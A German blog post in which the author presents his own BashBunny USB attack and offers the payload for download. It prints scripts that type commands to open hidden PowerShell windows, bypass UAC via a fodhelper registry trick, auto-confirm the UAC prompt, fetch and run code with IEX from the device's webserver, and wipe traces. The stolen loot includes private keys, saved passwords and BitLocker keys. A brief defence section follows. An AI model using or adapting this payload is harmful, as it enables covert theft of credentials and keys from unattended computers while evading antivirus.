Hacking mit dem BashBunny

So, mein erstes BashBunny-Attack-Script ist fertig! Es wird Zeit, das kleine Device in meinem Blog vorzustellen. Ebenso möchte zeigen, welche Informationen mit meinem eigenen Attack-Script ausgelesen werden können. Und natürlich möchte ich auch zeigen, wie man sich vor dieser Attacke schützen kann.

Der BashBunny
Hacking mit dem BashBunny
Inspiriert von der Serie „Mr. Robot“ hab ich mir eingebildet, einen Rubber Ducky besitzen zu müssen. Das Gerät sieht aus wie ein gewöhlicher USB-Stick. Aber beim Anschließen an einen Computer gibt es sich als Tastatur aus und „tippt“ eine Menge an vorher definierten Zeichen“. Damit lässt sich einiges an Schabernack treiben.

Angeboten wird das Teil bei Hak5 – ebenso wie der verbesserte Nachfolger „BashBunny“. Dieses Gerät sieht ebenso wie ein USB-Stick aus. Im Vergleich zu seinem Vorgänger kann es aber wesentlich mehr, z.B. diese Gerätetypen durch verschiedene Attack-Modes simulieren:

  • im Storage-Mode wird ein USB-Storage bereitgestellt
  • im HID-Mode wird eine Tastatur simuliert (wie beim Rubber Ducky)
  • im Ethernet-Mode wird ein Netzwerkadapter simuliert
  • im SERIAL-Mode wird eine COM-Schnittstelle eingebunden

Diese Attack-Modes sind teilweise miteinander kombinierbar und können durch ein Angriffs-Script während der Attacke gewechselt werden!

Über einen kleinen Schieberegler kann vor dem Anschließen eine Auswahl des BashBunny-Startscriptes erfolgen. Es stehen diese 3 Reglerstellungen zur Auswahl:

  • Arming-Mode: der BashBunny ist harmlos und bindet sich als USB-Storage und serielle Schnittstelle ein. So kann er einfach programmiert oder ausgelesen werden
  • Switch1: in dieser Position wird das Script in einem Payload-Verzeichnis 1 gestartet
  • Switch2: in dieser Position wird das Script in einem Payload-Verzeichnis 2 gestartet

Und mit einer programmierbaren LED kann von außen der Fortschritt des Angriffs abgelesen werden.

Hinter der Hardware arbeitet ein kleines Linux. Dieses kann über die serielle Schnittstelle z.B. mit Putty angesprochen werden…

Hacking mit dem BashBunny

Das Linux wird mit der BASH gesteuert – daher auch der Name BashBunny… So können unzählige Erweiterungen installiert und betrieben werden. Z.B für den Ethernet-Mode sind dabei bzw. bereits onboard:

  • ein DHCP-Server, der den „Client“ mit einer IP-Adresse versorgt
  • ein Webserver oder ein SMB-Server
  • die Scripte Responder, Multirelay, …
  • das Modul Impacket
  • nmap, …

Die Programmierung ist viel einfacher als beim Rubber Ducky. Für diesen musste das Script compiliert und dann auf einer SD-Card abgespeichert im Ducky eingebaut werden. Dagegen ist im Arming-Mode der Zugriff auf die Textdatei des BashBunny’s viel einfacher: Schieberegler platzieren, den BashBunny anschließen und die Textdatei im Editor bearbeiten. 🙂

Ihr habt vielleicht schon eine Idee, was ich letzten Endes bei Hak5 bestellt hab: klar, ein BashBunny musste her. 🙂 Der Bestellvorgang in den USA war recht einfach. Nur bei der Lieferung gab es ein Problem: der Zoll wollte die Sendung nicht freigeben. Nach etwa 30 Minuten Überzeugungsarbeit zu meinen Absichten hatte ich den BashBunny dann endlich in meinem Besitz. 🙂

Nun musste nur noch eine eigene Attacke her. Bei Github gibt es viele Ansätze. Ebenso inspirieren die Videos bei Youtube von Hak5, die Darren Kitchen und Shannon Morse sehr unterhaltsam präsentieren.

Viele Attacken waren mir aber zu seicht, zu langsam oder einfach zu „laut“: man konnte einfach zu viel sehen! Und ich wollte etwas eigenes, dass folgende Anforderungen erfüllt:

  • die Attacke soll möglichst leise sein: der Benutzer des Computers soll wenn überhaupt nur wenig sehen oder er soll auf keinen Fall dubiose Meldungen bestätigen müssen
  • eine AntiVirus-Lösung darf die Attacke nicht bemerken
  • das Script soll dynamisch erweiterbar sein. Wenn ich eine neue Idee habe möchte ich nicht umständlich im BashBunny rumprogrammieren müssen

Und das hab ich nun geschafft…

Mein Attack-Script

Um meine eigenen Vorgaben zu erreichen hat das Script für die Attacke eine gewisse Komplexität erreicht. Daher möchte ich zuerst die Vorgehensweise grob beschreiben. Die Feinheiten kommen dann im Anschluss.

Ich nutze die Modes HID (Tastatur) und Netzwerk für meinen Angriff. Auf den Storage habe ich verzichtet, da dieser von einem Virenscanner möglicherweise kontrolliert wird.

Das passiert beim Anschließen des BashBunny’s mit meinem Script:

  1. Der BashBunny weist sich als Tastatur aus und ruft die Eingabeaufforderung auf. Dort gibt er einen sehr kurzen Befehl ein. Dieser startet eine versteckte PowerShell ohne administrative Rechte.
  2. In dieser PowerShell kann dann optional – immer noch über die Tastatur – eine 2. PowerShell gestartet werden. Diese möchte administrative Rechte. Ein aufpoppender UAC-Dialog der Benutzerkontensteuerung wird ebenfalls mit der Tastatur bestätigt (hehe).
  3. In der dann aktiven, versteckten PowerShell (entweder die erste oder optional die administrative zweite) wird dann noch eine Powershell gestartet. Diese wartet dann auf den BashBunny-Webserver.
  4. Nachdem die Tastatur fertig ist wechselt der BashBunny in den Netzwerk-Mode: er zeigt sich als 2Gbit-Ethernet-Schnittstelle und vergibt dem Client eine IPv4 mit seinem eigenen DHCP-Server.
  5. In diesem aktiven Netzwerk startet ein WebServer mit der IP-Adresse, auf die mein PowerShell-Script wartet.
  6. Die Powershell läd nun vom Webserver eine Textdatei herunter und führt diese als PowerShell-Script aus. Dieses Script stellt nun meine Logik bereit:
    1. Es läd vom Webserver verschlüsselte Dateien herunter und dekodiert diese im RAM.
    2. Jede Datei wird nun in einem PowerShell-Job (ein eigener Prozess) gestartet und erledigt die Aufgabe.
    3. Das Master-Script überwacht die Ausführungen und läd die Ergebnisse wieder auf den Webserver. Dieser speichert alles im Scriptverzeichnis auf dem BashBunny
  7. Wenn alles ausgeführt wurde muss der BashBunny nur noch die Verbindung trennen und die Dateien in das Loot-Verzeichnis verschieben. Das ist das eigentliche Ergebnis-Verzeichnis.
  8. Optional kann noch aufgeräumt werden.

Cool, oder? 🙂

Detailbetrachtung

Alle benötigten Dateien liegen in diesem Verzeichnis auf dem BashBunny:

Hacking mit dem BashBunny

Die Attacke wird also gestartet, wenn der Schieberegler auf Switch1-Position gebracht wird, bevor man den BashBunny anschließt. Dann wird er den Code der payload.txt-Datei ausführen. Der Webserver wird später über die Server.py-Datei bereitgestellt. Die Datei p.txt enhält meinen Master-PowerShell-Code. Und im Unterverzeichnis PS befinden sich alle weiteren Angriffsscripte, die von der Master-PS gestartet werden (die Namen lassen bestimmt schon was erahnen, oder?):

Hacking mit dem BashBunny

Ich habe den gesamten Prozess in einzelne Abschnitte unterteilt – die sogenannten Stages. In der Payload.txt sind diese definiert. Zu Beginn findet ihr die möglichen Variablen zum Feintunen:

###################################################################################################
# Configuration
###################################################################################################

# Set UAC Mode
# 2 = Fodhelper UAC 
# 1 = Standard UAC 
# 0 = no elevation
UAC_MODE=1

# Set CleanUp Mode
# 1 = ON
# 0 = OFF
CLEANUP_MODE=0

# Set Responder-Mode
# 1 = ON
# 0 = OFF
Responder_MODE=0

Mit den Variablen kann ich vor der Attacke steuern, ob eine administrative PowerShell benötigt wird oder ob der BashBunny auf dem Computer aufräumen soll.

Setup

Der BashBunny in der Setup-Stage weitere Variablen verarbeiten und das Loot-Verzeichnis erstellen. Dabei blinkt die LED langsam in roter Farbe. Das geht recht einfach:

###################################################################################################
# Setup
###################################################################################################

# start Setup
LED SETUP
GET SWITCH_POSITION
REQUIRETOOL responder

# Some Variables
SWITCHDIR=/root/udisk/payloads/$SWITCH_POSITION
LOOTDIR=$SWITCHDIR/loot
RESPONDER_OPTIONS="-w -r -d -P"

# create a new loot Directory
if ! [ -d $LOOTDIR ] ; then
	mkdir -p $LOOTDIR  
fi

# remove old Handshake Files
rm -f $LOOTDIR/con*

Stage A – HID – „start a local PS“

Hier geht es los. Der BashBunny beginnt mit einem gelben Blinken, meldet sich als Tastatur und startet eine PowerShell in der Eingabeaufforderung. Das Q steht für QUACK – die Rubber Ducky Programmiersprache. Ein „Q STRING“ tippt etwas mit der „Tastatur“. DELAY wartet x Millisekunden und GUI R startet die Eingabeaufforderung (entspricht WIN+R). Easy, oder?

###################################################################################################
# Stage A - HID - "start a local PS"
###################################################################################################

# start HID 
LED STAGE1
ATTACKMODE HID

# start a visible PS without runas and hide it (most AV will ignore this)
Q DELAY 3000
Q GUI r
Q DELAY 300
Q STRING "powershell -w h"
Q ENTER
Q DELAY 500

Das sieht man dann am Computer:

Hacking mit dem BashBunny

Dieses Fenster wird nur sehr kurz angezeigt. Lenkt dabei einfach euren Computerbesitzer kurz ab – simples Social Engineering! Die Option -w h steht für „WindowsStyle Hidden“. Das PowerShell-Fenster wird also unsichtbar. Nur im Taskmanager kann man es noch sehen. 🙂 Extrem genial ist dabei, dass der BashBunny weiter als Tastatur in das versteckte Fenster tippen kann – solange es den „versteckten“ Fokus hat!

Dann kommt ggf. ein Cleanup-Prepare. Dabei wird die PowerShell-History gespeichert und später wieder „geladen“. Das nutze ich hier aktuell nicht. Ich mache bei den Optionen zur administrativen PowerShell weiter. Mit der Variable UAC_MODE könnt ihr am Anfang festlegen, ob eine administrative PowerShell gestartet werden soll. Dabei habe ich eine Variante mit nem FODHELPER-Exploit und eine mit der UAC-Abfrage dabei – oder keine AdminShell:

# if possible elevate PS	
case "$UAC_MODE" in
2)
	# Registry Keys to Bypass UAC (Method by https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1)	
	Q DELAY 300
	Q STRING New\-Item \-Path \"HKCU\:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -\Value \"cmd \/c start powershell.exe \-w h\" \-Force
	Q ENTER
	Q DELAY 300
	Q STRING New\-ItemProperty \-Path \"HKCU\:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" \-Name \"DelegateExecute\" \-Value \"\" \-Force
	Q ENTER
	Q DELAY 300
	Q STRING Start\-Process \"C\:\\Windows\\System32\\fodhelper.exe\" \-WindowStyle Hidden
	Q ENTER
	# Undo Registry-Changes
	Q DELAY 500
	Q STRING Remove\-Item \"HKCU\:\\Software\\Classes\\ms\-settings\\\" \-Recurse \-Force
	Q ENTER
	;;
1)
	# start from the first PS a second PS as admin and confirm the UAC 
	Q DELAY 300
	Q STRING Start\-Process powershell.exe \-Verb runAs \-ArgumentList \'-w h\'
	Q DELAY 300
	Q ENTER
	Q DELAY 300
	Q LEFT
	Q DELAY 200
	Q ENTER
	Q DELAY 500
	;;
0)
	# no elevation triggered
	;;
*)
	LED R
	;;
esac

Bei der UAC-Abfrage wird natürlich kurz die Benutzerkontensteuerung aufpoppen. Aber auch diese kann mit der Tastatur bestätigt werden, sofern der angemeldete Benutzer auch Administrator ist. Das QUACK-Command LEFT „drückt“ die linke Cursortaste – so wird der Cursor von „nein, ich will kein Admin sein“ auf „ja, ich will Admin sein“ gewechselt. Ein weiteres ENTER und die Meldung verschwindet… 🙂

Hacking mit dem BashBunny

Zuletzt wird noch der Powershell-Prozess gestartet, der auf den Webserver wartet. Das geschieht entweder in der ersten (versteckten) PowerShell oder in der 2. versteckten und administrativen PowerShell:

# in second PS: wait for Bunny Ethernet, download p.txt and Start p.txt as a Powershell Script
Q DELAY 500
Q STRING "powershell -exec bypass -Wind h \"while (1) { If (Test-Connection 172.16.64.1 -count 1 -quiet){ IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1/p.txt');exit}}\""
Q DELAY 300
Q ENTER
Q DELAY 200

Auch das ist recht easy:

  1. Die letzte Powershell versteckt sich wieder mit WindowsStyle Hidden.
  2. Sie pingt die IP-Adresse 172.16.64.1 in einer Schleife an. Diese IP-Adresse hat der BashBunny im Netzwerk-Mode.
  3. Wenn die IP erreicht werden kann, dann wird der Text der p.txt-Datei vom Webserver heruntergeladen und mit IEX (Invoke-Expression) ausgeführt.
  4. Ist das Script fertig, dann wird die PowerShell geschlossen.

Hier habe ich mal alle PowerShell-Fenster sichtbar gemacht. Man erkennt

  • die erste PowerShell (powershell -w h der Eingabeaufforderung) ist im Hintergrund – ohne AdminPrivilege
  • in dieser sieht man noch den verdeckt getippten Aufruf der optionalen, administrativen Powershell. Auf dieses Command folgte die Benutzerkontensteuerung. Nach deren Bestätigung wurde die administrative PowerShell im Vordergrund gestartet
  • In dieser sieht man nun die 3. PowerShell, die auf den Webserver wartet.

Hacking mit dem BashBunny

Warum habe ich bis zu 3 PowerShell-Prozesse gestartet?

Ich hätte doch auch folgenden Code mit QUACK starten können:

cmd /C "powershell.exe -w n -exec bypass -command 'Start-Process powershell.exe -Verb runAs -Argumentlist ''while (1) { If (Test-Connection 172.16.64.1 -count 1 -quiet){ IEX (New-Object Net.WebClient).DownloadString(''http://172.16.64.1/p.txt'')}}'''"

ABER: das wäre eine lange Zeichenfolge für die Eingabeaufforderung – das würde ein Benutzer sehen. Dagegen ist

powershell -w h

als sichtbare Eingabe viel kürzer. Nur fehlen so die Optionen „exec Bypass“, mit der die Scriptausführung erlaubt wird ebenso wie die Option RunAs. Um die Variation MIT und OHNE AdminShell zu ermöglichen, habe ich die Admin-PowerShell einfach optional dazwischen geschaltet. OK?

Stage B – ETHERNET – „start webservice http -> PS downloads Payloadfiles and uploads Results“

In der 2. Stage wird die Tastatur des BashBunny deaktiviert. Dafür kommt nun ein zusätzlicher Netzwerkadapter ins System. Und hier wird ein Webserver die erforderlichen Scripte für die PowerShell anbieten:

###################################################################################################
# STAGE B - ETHERNET - "start webservice http -> PS downloads Payloadfiles and uploads Results"
###################################################################################################

# start ETH
LED STAGE2
ATTACKMODE RNDIS_ETHERNET

GET TARGET_IP
GET TARGET_HOSTNAME
HOST=${TARGET_HOSTNAME}

# Start HTTP Server
iptables -A OUTPUT -p udp --dport 53 -j DROP
python $SWITCHDIR/server.py &
SERVER_PID=$!

# Check target IP address. If unset, blink slow red.
if [ -z "${TARGET_IP}" ]; then
	LED FAIL2
	exit
fi

# wait for PS starting p.txt as a script
while ! [ -f $SWITCHDIR/loot/conph1.txt ]; do
	sleep 1
done

# wait for PS finishing upload of the results and end http-server
LED STAGE3 
while ! [ -f $SWITCHDIR/loot/conph2.txt ]; do
	sleep 1
done
kill -HUP $SERVER_PID

Die Abstimmung zwischen dem Payloadscript des BashBunny und der PowerShell habe ich über simple Textdateien definiert. Die PowerShell kann die conph#.txt-Dateien hochladen, wenn sie eine bestimmte Aufgabe abgeschlossen hat. Werden diese Dateien vom BashBunny erkannt, dann kann er seine Warteschleifen beenden und die Payload.txt weiter verarbeiten.

Das hier ist die zusätzliche Netzwerkkarte:

Hacking mit dem BashBunny

Nun über den Webserver kann die p.txt heruntergeladen werden:

Hacking mit dem BashBunny

Deren Text ist mein Master-PS-Script. Dieses steuert nun den weiteren Verlauf und läd eine Reihe weiterer Textdateien vom BashBunny-Webserver nach.

Hacking mit dem BashBunny

Zunächst versteckt sich die PowerShell mit hide-Console – für den Fall, dass beim WindowsStyle Hidden was nicht geklappt hat. Dann wird ein lokales Arbeitsverzeichnis erstellt (prepare-loot). Das Highlight sind die Scripte, die mit start-AttackScripts gefunden, heruntergeladen, dekodiert, ausgeführt und überwacht werden. Zuletzt wird mit cleanup-host aufgeräumt. 🙂

Jedes SubScript erzeugt einen Text-Output, der dann automatisch auf den Webserver hochgeladen wird. Da steckt meine Erweiterbarkeit: ich speichere einfach ein weiteres Script im Verzeichnis und beim nächsten Lauf wird es mit ausgeführt!

Cleanup und Finish

Wenn die Powershell fertig ist, dann übernimmt die Payload.txt des BashBunny. Sie muss nun noch die Ergebnisse der PowerShell in das Loot-Verzeichnis verschieben und etwas aufräumen. Dann leuchtet die LED dauerhaft grün:

###################################################################################################
# CLEANUP
###################################################################################################

# Cleanup 
	LED CLEANUP
	ATTACKMODE HID 

# create final loot-Directory
rm -f $LOOTDIR/con*
if ! [ -d /root/udisk/loot/PowerShellAttacks ]; then
	mkdir -p /root/udisk/loot/PowerShellAttacks
fi
if ! [ -d /root/udisk/loot/PowerShellAttacks/$HOST ]; then
	mkdir -p /root/udisk/loot/PowerShellAttacks/$HOST
fi
cp $SWITCHDIR/PS/unobfuscate.ps1 /root/udisk/loot/PowerShellAttacks/$HOST

mv -f $LOOTDIR/* /root/udisk/loot/PowerShellAttacks/$HOST 
rmdir $LOOTDIR

# if responder was running, move its logfiles to loot	
case "$Responder_MODE" in
1)
	if ! [ -d /root/udisk/loot/PowerShellAttacks/$HOST/Responder ]; then
		mkdir -p /root/udisk/loot/PowerShellAttacks/$HOST/Responder
	fi
	cp /tools/responder/logs/* /root/udisk/loot/PowerShellAttacks/$HOST/Responder 
esac 

# if cleanup was triggered 
case "$CLEANUP_MODE" in
1)
	ATTACKMODE HID

	Q GUI r
	Q STRING cmd \/c move \/Y \"\%TEMP\%\\\~ps199876af\.tmp\" \"\%APPDATA\%\\\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history\.txt\"
	Q DELAY 200
	Q ENTER
	Q GUI r
	Q STRING cmd \/c reg import \"\%Temp%\\\~tg199876cb.tmp\" \& cmd \/c del \"\%Temp%\\\~tg199876cb.tmp\" \& cmd \/c del \"\%Temp%\\\~ps199876af\.tmp\"
	Q DELAY 200
	Q ENTER
	Q DELAY 300
esac 

###################################################################################################
# FINISH
###################################################################################################

# finishing 
sync; sleep 1; sync
LED FINISH

Die Beute

Was man nun als Ergebnis bekommt, das hängt von den kleinen, modularen PowerShell-Scripten ab. Ich habe bereits einige zusammengetragen bzw. selber erstellt. Viele davon erläutere ich später in einzelnen Beiträgen.

Das hier war meine heutige Beute. Sie kann im Arming-Mode des BashBunny begutachtet werden:

Hacking mit dem BashBunny

Da wären z.B. alle meine Benutzerzertifikate MIT PrivateKey!. Und alle meine gespeicherte Kennworte aus dem Internet Explorer, den CredentialManager, meiner WLAN-AccessPoints. Dann der Produktschlüssel meines Windows 10 und die Bitlocker-Recovery-Keys… Und alles selbstverständlich im Klartext!!! 🙂

Ich hab diese Attacke schon so oft bei der Entwicklung laufen lassen – und dennoch ist dieses Ergebnis immer wieder faszinierend!

Abwehrmechanismen

Nur wie schützt man sich vor einem BashBunny oder einem vergleichbaren Gerät?? Kurz gesagt: gar nicht. Verhindert doch einmal, dass euer Computer eine Tastatur erkennt… Und auch eine zusätzliche Netzwerkkarte wird dankbar von einem Windows Computer angenommen. Ihr denkt, dafür sind Treiber erforderlich? Ha, die sind bereits im Windows integriert!

OK, den Storage-Mode kann man mit GPOs aufhalten. Aber bestimmt mit der Ausnahme für eine bestimmte USB-Stick-Serie, gell? Nur blöd, dass ihr dem BashBunny sagen könnt, welchen USB-Stick er nachahmen soll…

Natürlich kann man sich gegen diverse Scripte und Schadcode wehren. Da wäre natürlich ein Virenscanner interessant. Dieser kann ggf. auch bösen PowerShell-Code erkennen und stoppen – gerade mit Windows 10:

Hacking mit dem BashBunny

Und auch die Benutzerkontensteuerung kann ein gewisses Hindernis sein – natürlich nur, wenn der Benutzer KEIN Administrator ist. Dann genügt ein simples ENTER eben nicht aus um eine administrative PowerShell zu starten.

Aber der Benutzer kann doch den Schadcode und die Funktionsweise erkennen. Ehrlich??

Ehrlich gesagt gibt es nur eine Reihe von sinnvollen Abwehrmaßnahmen:

  • lasst euren Computer nicht ungesperrt aus den Augen. Die meisten Scripte des BashBunny benötigen eine aktive Anmeldung. Aber Achtung: es gibt auch Scripte für den BashBunny, die funktionieren an einem gesperrten Computer… 🙂
  • der Benutzer des Computers sollte keine administrativen Account verwendet. Viele der SubScripte benötigen diese hohen Privilegien
  • steckt nicht einfach irgendwelche USB-Sticks an. Wer schon einmal in einem meiner Kurse war hat des bestimmt schon mal bei mir gesehen. Ich bin da echt paranoid… 🙂
  • ein AV kann ggf. helfen. Aber meinen Kaspersky hab ich schon etliche Male in seiner maximalen Konfiguration ausgetrickst. Verlasst euch nicht auf diese.
  • Eine ausgehende Firewall mit URL-Filter, die auf reine IP`s prüfen wären auch denkbar.
  • Was funktioniert: speichert keine Kennworte in eurem Computer!

Passt also bitte auf, welche Geräte ihr anschließt!

Hier könnt ihr euch den BashBunny-Payload payload. Die PowerShell-ScriptFiles sind für einen Download vielleicht doch etwas zu viel

Stay tuned!

Kommentar hinterlassen